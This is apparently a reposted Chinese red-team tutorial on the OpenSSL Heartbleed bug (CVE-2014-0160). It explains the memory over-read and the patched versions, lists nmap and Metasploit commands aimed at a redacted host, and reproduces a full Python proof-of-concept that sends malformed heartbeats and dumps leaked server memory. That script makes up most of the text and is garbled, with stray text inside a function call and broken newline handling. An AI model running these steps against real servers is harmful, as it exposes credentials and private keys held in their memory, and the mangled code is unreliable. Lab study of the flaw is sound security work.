感谢师傅 · 关注我们
由于,微信公众号推送机制改变,现在需要设置为星标才能收到推送消息。大家就动动发财小手设置一下呗!啾咪~~~
攻其无备,出其不意。
我们发布的内容仅作为测试和学习交流,禁止用于未授权场景。任何人不得将其用于非法目的。我方对于阅读本文技术引起的法律责任概不负责。
--->目录<---
--->0x001
心脏滴血是OpenSSL库中的一个内存漏洞,攻击者利用这个漏洞可以获取到目标进程内存信息。
--->0x001
SSL标准包括一个“检测信号”选项,它为SSL连接一端的计算机提供了一种方法,可以仔细检查线路的另一端是否仍有人。此功能很有用,因为如果连接闲置时间过长,某些互联网路由器会断开连接。简而言之,心跳协议的工作原理如下:
正常用户访问服务器:
检测信号消息由三部分组成:确认请求、随机选择的简短消息(在本例中为“banana”)以及该消息中的字符数。服务器应该简单地确认已收到请求并鹦鹉学舌地返回消息。
恶意用户访问服务器:
Heartbleed 攻击利用了服务器可能过于信任的事实。当有人告诉它消息有 6 个字符时,服务器会自动发回 6 个字符作为响应。恶意用户可以利用服务器的易受骗性:
显然,“长颈鹿”这个词没有 100 个字符长。但是服务器在发回响应之前不会费心检查,因此它会发回 100 个字符。具体来说,它会发回 7 个字符的单词“长颈鹿”,后跟服务器内存中“长颈鹿”一词之后恰好存储的 93 个字符。计算机通常以随意的顺序存储信息,以便尽可能紧密地将其打包到内存中,因此不知道可能会返回哪些信息。在这种情况下,“长颈鹿”一词后面的记忆位包含属于用户约翰·史密斯的敏感个人信息。
在真正的 Heartbleed 攻击中,攻击者不只是要求 100 个字符。攻击者可以要求提供大约 64,000 个字符的纯文本。而且它不只是询问一次,它可以一遍又一遍地发送恶意心跳消息,让攻击者每次都能取回服务器内存的不同片段。在这个过程中,它可以获得大量从未打算向公众提供的数据。
--->0x001
服务器只需要降低信任度。服务器需要检查它是否没有被要求发回比最初收到的更多的字符,而不是盲目地发回请求的数据。
--->0x001
OpenSSL 1.0.1 - 1.0.1f(含)容易受到攻击
OpenSSL 1.0.1g 不容易受到攻击
OpenSSL 1.0.0 分支不容易受到攻击
OpenSSL 0.9.8 分支不容易受到攻击
--->0x001
apt show openssl
--->0x001
docker-compose up -d
启动服务
访问https://your-ip:8443即可查看到hello页面
nmap -sV -p 22297--script ssl-heartbleed.nse docker.*****.com
msfconsole进行漏洞利用
search heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed
show options
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS docker.******.com
RHOSTS => docker.******.com
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 22297
RPORT => 22297
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true
verbose => true
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > run
--->0x001
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import binascii
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return binascii.unhexlify(x.replace(' ', '').replace('n', ''))
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s: bytes):
for b in range(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % c for c in lin)
pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin)
print(' %04x: %-48s %s' % (b, hxdat, pdat))
print("")
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = b''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select(
展开收缩, [], [], 5)if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print('Unexpected EOF receiving record header - server closed connection')
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print('Unexpected EOF receiving record payload - server closed connection')
return None, None, None
print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print('No heartbeat response received, server likely not vulnerable')
return False
if typ == 24:
print('Received heartbeat response:')
hexdump(pay)
if len(pay) > 3:
print('WARNING: server returned more data than it should - server is vulnerable!')
else:
print('Server processed malformed heartbeat, but did not return any extra data.')
return True
if typ == 21:
print('Received alert:')
hexdump(pay)
print('Server returned error, likely not vulnerable')
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Connecting...')
sys.stdout.flush()
s.connect((args[0], opts.port))
print('Sending Client Hello...')
sys.stdout.flush()
s.send(hello)
print('Waiting for Server Hello...')
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print('Server closed connection without sending Server Hello.')
return
# Look for server hello done message.
if typ == 22 and pay[0] == 0x0E:
break
print('Sending heartbeat request...')
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()
心脏滴血在线监测
https://possible.lv/tools/hb/
参考:https://www.vox.com/
转自:二进制客栈
原文始发于微信公众号(黑客白帽子):红队手册[2]——心脏滴血(Heartbleed)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论